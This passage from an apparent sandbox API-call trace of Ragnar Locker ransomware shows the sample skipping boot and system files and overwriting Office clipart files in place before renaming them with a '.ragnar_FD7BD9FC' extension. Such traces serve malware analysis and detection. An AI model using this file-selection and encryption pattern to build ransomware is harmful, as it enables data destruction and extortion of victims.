(lpString1="NA01141_.WMF", lpString2="bootsect.bak") returned 1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="bootmgr") returned 1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="bootmgr.efi") returned 1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="desktop.ini") returned 1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="iconcache.db") returned 1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="ntldr") returned -1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="ntuser.dat") returned -1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="ntuser.ini") returned -1 [0088.643] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="thumbs.db") returned -1 [0088.643] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.643] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.643] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.643] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.643] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.643] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.643] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf")) returned 0x20 [0088.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.644] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5848) returned 1 [0088.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.644] GetProcessHeap () returned 0x580000 [0088.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.644] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.646] VirtualAlloc (lpAddress=0x0, dwSize=0x16d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.646] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16d8, lpOverlapped=0x0) returned 1 [0088.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.647] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.647] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16d8, lpOverlapped=0x0) returned 1 [0088.647] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.647] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.647] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.647] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.647] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.647] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.647] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.648] GetProcessHeap () returned 0x580000 [0088.648] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.648] CloseHandle (hObject=0xf4) returned 1 [0088.648] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" [0088.648] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.ragnar_FD7BD9FC" [0088.648] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.648] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1 [0088.648] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.648] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01148_.WMF" | out: lpString1="NA01148_.WMF") returned="NA01148_.WMF" [0088.648] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF") returned=".WMF" [0088.648] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="autorun.inf") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="boot.ini") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="bootfont.bin") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="bootsect.bak") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="bootmgr") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="bootmgr.efi") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="desktop.ini") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="iconcache.db") returned 1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="ntldr") returned -1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="ntuser.dat") returned -1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="ntuser.ini") returned -1 [0088.649] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="thumbs.db") returned -1 [0088.649] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.649] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.649] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.649] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.649] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.649] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.649] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf")) returned 0x20 [0088.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.650] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7992) returned 1 [0088.650] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.650] GetProcessHeap () returned 0x580000 [0088.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.650] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.651] VirtualAlloc (lpAddress=0x0, dwSize=0x1f38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.651] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f38, lpOverlapped=0x0) returned 1 [0088.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.652] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f38, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.652] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f38, lpOverlapped=0x0) returned 1 [0088.652] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.653] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.653] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.653] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.653] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.653] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.653] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.653] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.653] GetProcessHeap () returned 0x580000 [0088.653] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.653] CloseHandle (hObject=0xf4) returned 1 [0088.653] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" [0088.653] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.ragnar_FD7BD9FC" [0088.653] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.654] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1 [0088.654] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.654] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01149_.WMF" | out: lpString1="NA01149_.WMF") returned="NA01149_.WMF" [0088.654] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF") returned=".WMF" [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="autorun.inf") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="boot.ini") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="bootfont.bin") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="bootsect.bak") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="bootmgr") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="bootmgr.efi") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="desktop.ini") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="iconcache.db") returned 1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="ntldr") returned -1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="ntuser.dat") returned -1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="ntuser.ini") returned -1 [0088.654] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="thumbs.db") returned -1 [0088.655] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.655] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.655] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.655] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.655] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.655] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.655] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf")) returned 0x20 [0088.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.656] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4680) returned 1 [0088.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x123f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.656] GetProcessHeap () returned 0x580000 [0088.656] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.656] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.657] VirtualAlloc (lpAddress=0x0, dwSize=0x1248, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.658] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1248, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1248, lpOverlapped=0x0) returned 1 [0088.658] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.658] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1248, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.658] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1248, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1248, lpOverlapped=0x0) returned 1 [0088.658] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1248, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.659] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.659] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1248, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.659] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.659] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.659] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.659] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.659] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.659] GetProcessHeap () returned 0x580000 [0088.659] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.659] CloseHandle (hObject=0xf4) returned 1 [0088.659] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" [0088.659] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.ragnar_FD7BD9FC" [0088.659] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.660] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1 [0088.660] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.660] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01152_.WMF" | out: lpString1="NA01152_.WMF") returned="NA01152_.WMF" [0088.660] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF") returned=".WMF" [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="autorun.inf") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="boot.ini") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="bootfont.bin") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="bootsect.bak") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="bootmgr") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="bootmgr.efi") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="desktop.ini") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="iconcache.db") returned 1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="ntldr") returned -1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="ntuser.dat") returned -1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="ntuser.ini") returned -1 [0088.660] lstrcmpiW (lpString1="NA01152_.WMF", 